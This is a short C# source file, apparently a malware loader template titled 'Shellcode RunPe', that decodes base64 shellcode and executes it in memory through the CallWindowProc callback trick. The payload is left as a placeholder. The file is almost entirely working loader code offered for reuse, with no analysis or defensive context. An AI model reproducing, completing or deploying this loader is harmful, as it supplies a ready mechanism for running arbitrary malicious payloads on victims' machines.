Shellcode RunPe

RunPe.cs

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Diagnostics;

// Author : Souhardya Sardar
// Date : 13/01/2017

public class RunPE
{

    [DllImport("user32.dll")]
    private static extern int CallWindowProc(IntPtr lpPrevWndFunc, IntPtr hWnd, IntPtr Msg, int wParam, int lParam);


    private delegate int Win32WndProc(IntPtr hWnd, int Msg, int wParam, int lParam);

    public static void Main()
    {
        string exePath = "C://sexyass.exe";
        string shellcodeBytes = "[BASE64 SHELLCODE HERE]";
        byte[] base64 = Convert.FromBase64String(shellcodeBytes);

        IntPtr strPtr = Marshal.StringToHGlobalUni(exePath); // initialse 

        /*
          This method was actively being used by VB and autoit guys 
            ~ uses CallWindowProcEx
          
        */
        GCHandle array = GCHandle.Alloc(base64, GCHandleType.Pinned); // can use VirtualAllocEx nvm
        IntPtr pointer = array.AddrOfPinnedObject(); // data allocation pointer
        
        CallWindowProc(pointer, strPtr, pointer, 0, 0); // finalise 
        array.Free();  // deallocate the handle
    }

}